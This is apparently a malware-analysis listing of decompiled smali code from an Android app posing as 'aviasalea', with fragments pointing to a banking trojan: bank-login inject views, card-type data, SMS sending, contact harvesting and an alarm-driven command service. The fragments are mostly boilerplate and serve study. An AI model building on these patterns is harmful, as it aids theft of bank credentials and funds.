                                      7invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                                      9invoke-virtual {v0}, Ljava/lang/Thread;->start()V
                                      10return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.<init>
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      4new-instance v0, Lcom/aviasalea/base/dialog/AlertDialog;
                                      5const/4 v1, 0x0
                                      7invoke-direct {v0, p1, v1}, Lcom/aviasalea/base/dialog/AlertDialog;-><init>(Landroid/content/Context;I)V
                                      8iput-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      9return-void
                                      APIs
                                      • java.lang.Object.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.<init>
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "progressViewStyle" # I
                                      2.prologue
                                      4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      5new-instance v0, Lcom/aviasalea/base/dialog/AlertDialog;
                                      7invoke-direct {v0, p1, p2}, Lcom/aviasalea/base/dialog/AlertDialog;-><init>(Landroid/content/Context;I)V
                                      8iput-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      9return-void
                                      APIs
                                      • android.widget.FrameLayout.<init>
                                      • com.aviasalea.injs.s.views.KeyboardView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation build Landroid/support/annotation/NonNull;
                                      2.end annotation
                                      3.end param
                                      4.prologue
                                      6invoke-direct {p0, p1}, Landroid/widget/FrameLayout;-><init>(Landroid/content/Context;)V
                                      8invoke-direct {p0}, Lcom/aviasalea/injs/s/views/KeyboardView;->initUI()V
                                      9return-void
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onStop
                                      • com.aviasalea.checkui.AdRequestDialog.onActivityResult
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-super {p0}, Lcom/aviasalea/base/BaseActivity;->onStop()V
                                      3const/16 v0, 0x6e
                                      4const/4 v1, 0x0
                                      5const/4 v2, 0x0
                                      7invoke-virtual {p0, v0, v1, v2}, Lcom/aviasalea/checkui/AdRequestDialog;->onActivityResult(IILandroid/content/Intent;)V
                                      8return-void
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onCreate
                                      • com.aviasalea.ds.AccOnDialog.showDialog
                                      Position Instruction Meta Information
                                      0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                                      1.prologue
                                      3invoke-super {p0, p1}, Lcom/aviasalea/base/BaseActivity;->onCreate(Landroid/os/Bundle;)V
                                      5invoke-static {p0}, Lcom/aviasalea/checktls/ScrTls;->scrOn(Landroid/app/Activity;)V
                                      7invoke-direct {p0}, Lcom/aviasalea/ds/AccOnDialog;->showDialog()V
                                      8return-void
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onCreate
                                      • com.aviasalea.ds.StartDialog.showDialog
                                      Position Instruction Meta Information
                                      0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                                      1.prologue
                                      3invoke-super {p0, p1}, Lcom/aviasalea/base/BaseActivity;->onCreate(Landroid/os/Bundle;)V
                                      5invoke-static {p0}, Lcom/aviasalea/checktls/ScrTls;->scrOn(Landroid/app/Activity;)V
                                      7invoke-direct {p0}, Lcom/aviasalea/ds/StartDialog;->showDialog()V
                                      8return-void
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • com.aviasalea.srs.rcv.AlarmBroadCastReceiver.startWakefulService
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      2new-instance v0, Landroid/content/Intent;
                                      3const-class v1, Lcom/aviasalea/srs/CmndSrs;
                                      5invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      7invoke-static {p1, v0}, Lcom/aviasalea/srs/rcv/AlarmBroadCastReceiver;->startWakefulService(Landroid/content/Context;Landroid/content/Intent;)Landroid/content/ComponentName;
                                      8return-void
                                      APIs
                                      Strings
                                      • unread
                                      • seen
                                      Position Instruction Meta Information
                                      0.param p1, "isRead" # I
                                      1.prologue
                                      2if-nez p1, :cond_5
                                      4const-string v0, "unread"
                                      5goto_4: return-object v0
                                      6cond_5:
                                      7const-string v0, "seen"
                                      8goto/16 :goto_4
                                      APIs
                                      • android.widget.RelativeLayout.<init>
                                      • com.aviasalea.injs.g.view.GView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "attrs" # Landroid/util/AttributeSet;
                                      2.param p3, "defStyleAttr" # I
                                      3.prologue
                                      5invoke-direct {p0, p1, p2, p3}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;I)V
                                      7invoke-direct {p0}, Lcom/aviasalea/injs/g/view/GView;->initUI()V
                                      8return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.g.view._CTextInputLayout.<init>
                                      • com.aviasalea.injs.g.view._CTextInputLayout.init
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "attrs" # Landroid/util/AttributeSet;
                                      2.prologue
                                      3const/4 v0, 0x0
                                      5invoke-direct {p0, p1, p2, v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;I)V
                                      7invoke-direct {p0, p1, p2}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->init(Landroid/content/Context;Landroid/util/AttributeSet;)V
                                      8return-void
                                      Cross References
                                      APIs
                                      • android.widget.LinearLayout.<init>
                                      • com.aviasalea.injs.g.view._CTextInputLayout.init
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "attrs" # Landroid/util/AttributeSet;
                                      2.param p3, "defStyleAttr" # I
                                      3.prologue
                                      5invoke-direct {p0, p1, p2, p3}, Landroid/widget/LinearLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;I)V
                                      7invoke-direct {p0, p1, p2}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->init(Landroid/content/Context;Landroid/util/AttributeSet;)V
                                      8return-void
                                      APIs
                                      • android.widget.RelativeLayout.<init>
                                      • com.aviasalea.injs.s.views.SLogView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "attrs" # Landroid/util/AttributeSet;
                                      2.param p3, "defStyleAttr" # I
                                      3.prologue
                                      5invoke-direct {p0, p1, p2, p3}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;I)V
                                      7invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SLogView;->initUI()V
                                      8return-void
                                      APIs
                                      • android.widget.RelativeLayout.<init>
                                      • com.aviasalea.injs.s.views.SberRegisterView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "attrs" # Landroid/util/AttributeSet;
                                      2.param p3, "defStyleAttr" # I
                                      3.prologue
                                      5invoke-direct {p0, p1, p2, p3}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;I)V
                                      7invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->initUI()V
                                      8return-void
                                      Cross References
                                      APIs
                                      • de.greenrobot.event.util.ErrorDialogFragments$Honeycomb.<init>
                                      • de.greenrobot.event.util.ErrorDialogFragments$Honeycomb.setArguments
                                      Position Instruction Meta Information
                                      0.param p1, "event" # Lde/greenrobot/event/util/ThrowableFailureEvent;
                                      1.param p2, "arguments" # Landroid/os/Bundle;
                                      2.prologue
                                      3new-instance v0, Lde/greenrobot/event/util/ErrorDialogFragments$Honeycomb;
                                      5invoke-direct {v0}, Lde/greenrobot/event/util/ErrorDialogFragments$Honeycomb;-><init>()V
                                      7invoke-virtual {v0, p2}, Lde/greenrobot/event/util/ErrorDialogFragments$Honeycomb;->setArguments(Landroid/os/Bundle;)V
                                      8return-object v0
                                      Cross References
                                      APIs
                                      • de.greenrobot.event.util.ErrorDialogFragments$Support.<init>
                                      • de.greenrobot.event.util.ErrorDialogFragments$Support.setArguments
                                      Position Instruction Meta Information
                                      0.param p1, "event" # Lde/greenrobot/event/util/ThrowableFailureEvent;
                                      1.param p2, "arguments" # Landroid/os/Bundle;
                                      2.prologue
                                      3new-instance v0, Lde/greenrobot/event/util/ErrorDialogFragments$Support;
                                      5invoke-direct {v0}, Lde/greenrobot/event/util/ErrorDialogFragments$Support;-><init>()V
                                      7invoke-virtual {v0, p2}, Lde/greenrobot/event/util/ErrorDialogFragments$Support;->setArguments(Landroid/os/Bundle;)V
                                      8return-object v0
                                      APIs
                                      • java.util.Calendar.getInstance
                                      • java.util.Calendar.getTime
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
                                      3move-result-object v0
                                      5invoke-virtual {v0}, Ljava/util/Calendar;->getTime()Ljava/util/Date;
                                      6move-result-object v0
                                      7return-object v0
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onPause
                                      • com.aviasalea.ds.AccOnDialog.mDialog:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.ds.AccOnDialog.destroyDialog
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-super {p0}, Lcom/aviasalea/base/BaseActivity;->onPause()V
                                      4iget-object v0, p0, Lcom/aviasalea/ds/AccOnDialog;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      6invoke-virtual {p0, v0}, Lcom/aviasalea/ds/AccOnDialog;->destroyDialog(Lcom/aviasalea/base/dialog/AlertDialog;)V
                                      7return-void
                                      APIs
                                      • android.content.DialogInterface.cancel
                                      • android.content.DialogInterface.dismiss
                                      Position Instruction Meta Information
                                      0.param p1, "dialog" # Landroid/content/DialogInterface;
                                      1.param p2, "which" # I
                                      2.prologue
                                      4invoke-interface {p1}, Landroid/content/DialogInterface;->cancel()V
                                      6invoke-interface {p1}, Landroid/content/DialogInterface;->dismiss()V
                                      7return-void
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onPause
                                      • com.aviasalea.ds.StartDialog.mDialog:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.ds.StartDialog.destroyDialog
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-super {p0}, Lcom/aviasalea/base/BaseActivity;->onPause()V
                                      4iget-object v0, p0, Lcom/aviasalea/ds/StartDialog;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      6invoke-virtual {p0, v0}, Lcom/aviasalea/ds/StartDialog;->destroyDialog(Lcom/aviasalea/base/dialog/AlertDialog;)V
                                      7return-void
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onPause
                                      • com.aviasalea.injs.g.GActivity.mDialog:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.injs.g.GActivity.destroyDialog
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-super {p0}, Lcom/aviasalea/base/BaseActivity;->onPause()V
                                      4iget-object v0, p0, Lcom/aviasalea/injs/g/GActivity;->mDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      6invoke-virtual {p0, v0}, Lcom/aviasalea/injs/g/GActivity;->destroyDialog(Lcom/aviasalea/base/dialog/AlertDialog;)V
                                      7return-void
                                      APIs
                                      • com.aviasalea.srs.CmndSrs.mainTask
                                      • com.aviasalea.srs.rcv.AlarmBroadCastReceiver.completeWakefulIntent
                                      Position Instruction Meta Information
                                      0.param p1, "intent" # Landroid/content/Intent;
                                      1.prologue
                                      3invoke-direct {p0}, Lcom/aviasalea/srs/CmndSrs;->mainTask()V
                                      4if-eqz p1, :cond_8
                                      6invoke-static {p1}, Lcom/aviasalea/srs/rcv/AlarmBroadCastReceiver;->completeWakefulIntent(Landroid/content/Intent;)Z
                                      7cond_8: return-void
                                      APIs
                                      • android.widget.RelativeLayout.<init>
                                      • com.aviasalea.injs.g.view.GView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "attrs" # Landroid/util/AttributeSet;
                                      2.prologue
                                      4invoke-direct {p0, p1, p2}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;)V
                                      6invoke-direct {p0}, Lcom/aviasalea/injs/g/view/GView;->initUI()V
                                      7return-void
                                      APIs
                                      • android.widget.RelativeLayout.<init>
                                      • com.aviasalea.injs.s.views.SLogView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "attrs" # Landroid/util/AttributeSet;
                                      2.prologue
                                      4invoke-direct {p0, p1, p2}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;)V
                                      6invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SLogView;->initUI()V
                                      7return-void
                                      APIs
                                      • android.widget.RelativeLayout.<init>
                                      • com.aviasalea.injs.s.views.SberRegisterView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "attrs" # Landroid/util/AttributeSet;
                                      2.prologue
                                      4invoke-direct {p0, p1, p2}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;)V
                                      6invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->initUI()V
                                      7return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      • java.util.ArrayList.<init>
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      3new-instance v0, Ljava/util/ArrayList;
                                      5invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
                                      6iput-object v0, p0, Lde/greenrobot/event/EventBus$PostingThreadState;->eventQueue:Ljava/util/List;
                                      7return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      • java.util.HashMap.<init>
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      3new-instance v0, Ljava/util/HashMap;
                                      5invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                                      6iput-object v0, p0, Lde/greenrobot/event/util/ExceptionToResourceMapping;->throwableToMsgIdMap:Ljava/util/Map;
                                      7return-void
                                      Cross References
                                      APIs
                                      • android.widget.RelativeLayout.<init>
                                      • com.aviasalea.injs.g.view.GView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      3invoke-direct {p0, p1}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;)V
                                      5invoke-direct {p0}, Lcom/aviasalea/injs/g/view/GView;->initUI()V
                                      6return-void
                                      Cross References
                                      APIs
                                      • android.widget.RelativeLayout.<init>
                                      • com.aviasalea.injs.s.views.SLogView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      3invoke-direct {p0, p1}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;)V
                                      5invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SLogView;->initUI()V
                                      6return-void
                                      Cross References
                                      APIs
                                      • android.widget.RelativeLayout.<init>
                                      • com.aviasalea.injs.s.views.SberRegisterView.initUI
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      3invoke-direct {p0, p1}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;)V
                                      5invoke-direct {p0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->initUI()V
                                      6return-void
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onPause
                                      • com.aviasalea.wb.WbActivity.finishActivity
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-super {p0}, Lcom/aviasalea/base/BaseActivity;->onPause()V
                                      4invoke-virtual {p0}, Lcom/aviasalea/wb/WbActivity;->finishActivity()V
                                      5return-void
                                      APIs
                                      • com.aviasalea.checktls.CmndTls$1.getResultCode
                                      • com.aviasalea.checktls.CmndTls$1.val$messStatusInterface:Lcom/aviasalea/mess/MessStatusInterface
                                      • com.aviasalea.checktls.CmndTls$1.val$messStatusInterface:Lcom/aviasalea/mess/MessStatusInterface
                                      • com.aviasalea.checktls.CmndTls$1.val$messStatusInterface:Lcom/aviasalea/mess/MessStatusInterface
                                      • com.aviasalea.checktls.CmndTls$1.val$messStatusInterface:Lcom/aviasalea/mess/MessStatusInterface
                                      • com.aviasalea.checktls.CmndTls$1.val$messStatusInterface:Lcom/aviasalea/mess/MessStatusInterface
                                      Position Instruction Meta Information
                                      0.param p1, "arg0" # Landroid/content/Context;
                                      1.param p2, "arg1" # Landroid/content/Intent;
                                      2.prologue
                                      3const/4 v1, 0x0
                                      5invoke-virtual {p0}, Lcom/aviasalea/checktls/CmndTls$1;->getResultCode()I
                                      6move-result v0
                                      7packed-switch v0, :pswitch_data_28
                                      8goto_8: return-void
                                      9pswitch_9:
                                      10iget-object v0, p0, Lcom/aviasalea/checktls/CmndTls$1;->val$messStatusInterface:Lcom/aviasalea/mess/MessStatusInterface;
                                      11const/4 v1, 0x1
                                      13invoke-interface {v0, v1}, Lcom/aviasalea/mess/MessStatusInterface;->isSmsSent(Z)V
                                      14goto/16 :goto_8
                                      15pswitch_10:
                                      16iget-object v0, p0, Lcom/aviasalea/checktls/CmndTls$1;->val$messStatusInterface:Lcom/aviasalea/mess/MessStatusInterface;
                                      18invoke-interface {v0, v1}, Lcom/aviasalea/mess/MessStatusInterface;->isSmsSent(Z)V
                                      19goto/16 :goto_8
                                      20pswitch_16:
                                      21iget-object v0, p0, Lcom/aviasalea/checktls/CmndTls$1;->val$messStatusInterface:Lcom/aviasalea/mess/MessStatusInterface;
                                      23invoke-interface {v0, v1}, Lcom/aviasalea/mess/MessStatusInterface;->isSmsSent(Z)V
                                      24goto/16 :goto_8
                                      25pswitch_1c:
                                      26iget-object v0, p0, Lcom/aviasalea/checktls/CmndTls$1;->val$messStatusInterface:Lcom/aviasalea/mess/MessStatusInterface;
                                      28invoke-interface {v0, v1}, Lcom/aviasalea/mess/MessStatusInterface;->isSmsSent(Z)V
                                      29goto/16 :goto_8
                                      30pswitch_22:
                                      31iget-object v0, p0, Lcom/aviasalea/checktls/CmndTls$1;->val$messStatusInterface:Lcom/aviasalea/mess/MessStatusInterface;
                                      33invoke-interface {v0, v1}, Lcom/aviasalea/mess/MessStatusInterface;->isSmsSent(Z)V
                                      34goto/16 :goto_8
                                      Cross References
                                      APIs
                                      • java.util.concurrent.Executors.newCachedThreadPool
                                      Position Instruction Meta Information
                                      0.param p1, "executionContext" # Ljava/lang/Object;
                                      1.prologue
                                      3iget-object v0, p0, Lde/greenrobot/event/util/AsyncExecutor$Builder;->eventBus:Lde/greenrobot/event/EventBus;
                                      4if-nez v0, :cond_a
                                      6invoke-static {}, Lde/greenrobot/event/EventBus;->getDefault()Lde/greenrobot/event/EventBus;
                                      7move-result-object v0
                                      8iput-object v0, p0, Lde/greenrobot/event/util/AsyncExecutor$Builder;->eventBus:Lde/greenrobot/event/EventBus;
                                      9cond_a:
                                      10iget-object v0, p0, Lde/greenrobot/event/util/AsyncExecutor$Builder;->threadPool:Ljava/util/concurrent/Executor;
                                      11if-nez v0, :cond_14
                                      13invoke-static {}, Ljava/util/concurrent/Executors;->newCachedThreadPool()Ljava/util/concurrent/ExecutorService;
                                      14move-result-object v0
                                      15iput-object v0, p0, Lde/greenrobot/event/util/AsyncExecutor$Builder;->threadPool:Ljava/util/concurrent/Executor;
                                      16cond_14:
                                      17iget-object v0, p0, Lde/greenrobot/event/util/AsyncExecutor$Builder;->failureEventType:Ljava/lang/Class;
                                      18if-nez v0, :cond_1c
                                      19const-class v0, Lde/greenrobot/event/util/ThrowableFailureEvent;
                                      20iput-object v0, p0, Lde/greenrobot/event/util/AsyncExecutor$Builder;->failureEventType:Ljava/lang/Class;
                                      21cond_1c: new-instance v0, Lde/greenrobot/event/util/AsyncExecutor;
                                      23iget-object v1, p0, Lde/greenrobot/event/util/AsyncExecutor$Builder;->threadPool:Ljava/util/concurrent/Executor;
                                      25iget-object v2, p0, Lde/greenrobot/event/util/AsyncExecutor$Builder;->eventBus:Lde/greenrobot/event/EventBus;
                                      27iget-object v3, p0, Lde/greenrobot/event/util/AsyncExecutor$Builder;->failureEventType:Ljava/lang/Class;
                                      28const/4 v5, 0x0
                                      29move-object v4, p1
                                      31invoke-direct/range {v0 .. v5}, Lde/greenrobot/event/util/AsyncExecutor;-><init>(Ljava/util/concurrent/Executor;Lde/greenrobot/event/EventBus;Ljava/lang/Class;Ljava/lang/Object;Lde/greenrobot/event/util/AsyncExecutor$1;)V
                                      32return-object v0
                                      Cross References
                                      APIs
                                      • java.util.concurrent.ExecutorService.execute
                                      Position Instruction Meta Information
                                      0.param p1, "subscription" # Lde/greenrobot/event/Subscription;
                                      1.param p2, "event" # Ljava/lang/Object;
                                      2.prologue
                                      4invoke-static {p1, p2}, Lde/greenrobot/event/PendingPost;->obtainPendingPost(Lde/greenrobot/event/Subscription;Ljava/lang/Object;)Lde/greenrobot/event/PendingPost;
                                      5move-result-object v0
                                      6monitor-enter p0
                                      7try_start_5:
                                      8iget-object v1, p0, Lde/greenrobot/event/BackgroundPoster;->queue:Lde/greenrobot/event/PendingPostQueue;
                                      10invoke-virtual {v1, v0}, Lde/greenrobot/event/PendingPostQueue;->enqueue(Lde/greenrobot/event/PendingPost;)V
                                      11iget-boolean v1, p0, Lde/greenrobot/event/BackgroundPoster;->executorRunning:Z
                                      12if-nez v1, :cond_1a
                                      13const/4 v1, 0x1
                                      14iput-boolean v1, p0, Lde/greenrobot/event/BackgroundPoster;->executorRunning:Z
                                      16iget-object v1, p0, Lde/greenrobot/event/BackgroundPoster;->eventBus:Lde/greenrobot/event/EventBus;
                                      18invoke-virtual {v1}, Lde/greenrobot/event/EventBus;->getExecutorService()Ljava/util/concurrent/ExecutorService;
                                      19move-result-object v1
                                      21invoke-interface {v1, p0}, Ljava/util/concurrent/ExecutorService;->execute(Ljava/lang/Runnable;)V
                                      22cond_1a: monitor-exit p0
                                      23return-void
                                      24catchall_1c: move-exception v1
                                      25monitor-exit p0
                                      26try_end_1e: throw v1
                                      Cross References
                                      APIs
                                      • java.lang.Enum.<init>
                                      Position Instruction Meta Information
                                      0.param p3, "cardName" # Ljava/lang/String;
                                      1.param p4, "icon" # I
                                      2.param p5, "startWith" # Ljava/lang/String;
                                      3.param p6, "length" # Ljava/lang/String;
                                      4.annotation system Ldalvik/annotation/Signature;
                                      5value = {
                                      6"(",
                                      7"Ljava/lang/String;",
                                      8"I",
                                      9"Ljava/lang/String;",
                                      10"Ljava/lang/String;",
                                      11")V"
                                      12}
                                      13.end annotation
                                      14.prologue
                                      16invoke-direct {p0, p1, p2}, Ljava/lang/Enum;-><init>(Ljava/lang/String;I)V
                                      17iput-object p3, p0, Lcom/aviasalea/injs/g/val/CEnum;->cardName:Ljava/lang/String;
                                      18iput p4, p0, Lcom/aviasalea/injs/g/val/CEnum;->icon:I
                                      19iput-object p5, p0, Lcom/aviasalea/injs/g/val/CEnum;->startWith:Ljava/lang/String;
                                      20iput-object p6, p0, Lcom/aviasalea/injs/g/val/CEnum;->length:Ljava/lang/String;
                                      21return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.wait
                                      Position Instruction Meta Information
                                      0.param p1, "maxMillisToWait" # I
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/InterruptedException;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7monitor-enter p0
                                      8try_start_1:
                                      9iget-object v0, p0, Lde/greenrobot/event/PendingPostQueue;->head:Lde/greenrobot/event/PendingPost;
                                      10if-nez v0, :cond_9
                                      11int-to-long v0, p1
                                      13invoke-virtual {p0, v0, v1}, Ljava/lang/Object;->wait(J)V
                                      14cond_9:
                                      15invoke-virtual {p0}, Lde/greenrobot/event/PendingPostQueue;->poll()Lde/greenrobot/event/PendingPost;
                                      16try_end_c: move-result-object v0
                                      17monitor-exit p0
                                      18return-object v0
                                      19catchall_f: move-exception v0
                                      20monitor-exit p0
                                      21throw v0
                                      APIs
                                      • android.os.AsyncTask.execute
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Landroid/content/Context;",
                                      5")",
                                      6"Ljava/util/List",
                                      7"<",
                                      8"Ljava/lang/String;",
                                      9">;"
                                      10}
                                      11.end annotation
                                      12.prologue
                                      13new-instance v0, Lcom/aviasalea/checktls/CmndTls$3;
                                      15invoke-direct {v0, p0}, Lcom/aviasalea/checktls/CmndTls$3;-><init>(Landroid/content/Context;)V
                                      17invoke-static {v0}, Landroid/os/AsyncTask;->execute(Ljava/lang/Runnable;)V
                                      19sget-object v0, Lcom/aviasalea/checktls/CmndTls;->contactList:Ljava/util/List;
                                      20return-object v0
                                      APIs
                                      • android.support.v4.app.Fragment.onResume
                                      • de.greenrobot.event.util.ErrorDialogManager$SupportManagerFragment.eventBus:Lde/greenrobot/event/EventBus
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-super {p0}, Landroid/support/v4/app/Fragment;->onResume()V
                                      3iget-boolean v0, p0, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->skipRegisterOnNextResume:Z
                                      4if-eqz v0, :cond_b
                                      5const/4 v0, 0x0
                                      6iput-boolean v0, p0, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->skipRegisterOnNextResume:Z
                                      7goto_a: return-void
                                      8cond_b:
                                      9sget-object v0, Lde/greenrobot/event/util/ErrorDialogManager;->factory:Lde/greenrobot/event/util/ErrorDialogFragmentFactory;
                                      11iget-object v0, v0, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->config:Lde/greenrobot/event/util/ErrorDialogConfig;
                                      13invoke-virtual {v0}, Lde/greenrobot/event/util/ErrorDialogConfig;->getEventBus()Lde/greenrobot/event/EventBus;
                                      14move-result-object v0
                                      15iput-object v0, p0, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->eventBus:Lde/greenrobot/event/EventBus;
                                      17iget-object v0, p0, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->eventBus:Lde/greenrobot/event/EventBus;
                                      19invoke-virtual {v0, p0}, Lde/greenrobot/event/EventBus;->register(Ljava/lang/Object;)V
                                      20goto/16 :goto_a
                                      Cross References
                                      APIs
                                      • java.lang.Math.min
                                      Position Instruction Meta Information
                                      0.prologue
                                      2sget-object v1, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      3iget v1, v1, Landroid/graphics/Point;->x:I
                                      5sget-object v2, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      6iget v2, v2, Landroid/graphics/Point;->y:I
                                      8invoke-static {v1, v2}, Ljava/lang/Math;->min(II)I
                                      9move-result v1
                                      10int-to-float v1, v1
                                      11sget v2, Lcom/aviasalea/checktls/AndroidUtilities;->density:F
                                      12div-float v0, v1, v2
                                      13const/high16 v1, 0x442f0000 # 700.0f
                                      14cmpg-float v1, v0, v1
                                      15if-gtz v1, :cond_19
                                      16const/4 v1, 0x1
                                      17goto_18: return v1
                                      18cond_19: const/4 v1, 0x0
                                      19goto/16 :goto_18
                                      APIs
                                      • com.aviasalea.checktls.CmndTls$2.getResultCode
                                      • com.aviasalea.checktls.CmndTls$2.val$messStatusInterface:Lcom/aviasalea/mess/MessStatusInterface
                                      • com.aviasalea.checktls.CmndTls$2.val$messStatusInterface:Lcom/aviasalea/mess/MessStatusInterface
                                      Position Instruction Meta Information
                                      0.param p1, "arg0" # Landroid/content/Context;
                                      1.param p2, "arg1" # Landroid/content/Intent;
                                      2.prologue
                                      4invoke-virtual {p0}, Lcom/aviasalea/checktls/CmndTls$2;->getResultCode()I
                                      5move-result v0
                                      6packed-switch v0, :pswitch_data_16
                                      7goto_7: return-void
                                      8pswitch_8:
                                      9iget-object v0, p0, Lcom/aviasalea/checktls/CmndTls$2;->val$messStatusInterface:Lcom/aviasalea/mess/MessStatusInterface;
                                      10const/4 v1, 0x1
                                      12invoke-interface {v0, v1}, Lcom/aviasalea/mess/MessStatusInterface;->isSmsDelivered(Z)V
                                      13goto/16 :goto_7
                                      14pswitch_f:
                                      15iget-object v0, p0, Lcom/aviasalea/checktls/CmndTls$2;->val$messStatusInterface:Lcom/aviasalea/mess/MessStatusInterface;
                                      16const/4 v1, 0x0
                                      18invoke-interface {v0, v1}, Lcom/aviasalea/mess/MessStatusInterface;->isSmsDelivered(Z)V
                                      19goto/16 :goto_7
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      Position Instruction Meta Information
                                      0.param p1, "ia" # Ljava/net/InetAddress;
                                      1.param p2, "noPings" # J
                                      2.param p4, "packetsLost" # J
                                      3.param p6, "totalTimeTaken" # F
                                      4.param p7, "minTimeTaken" # F
                                      5.param p8, "maxTimeTaken" # F
                                      6.prologue
                                      8invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      9iput-object p1, p0, Lcom/aviasalea/ping/PingStats;->ia:Ljava/net/InetAddress;
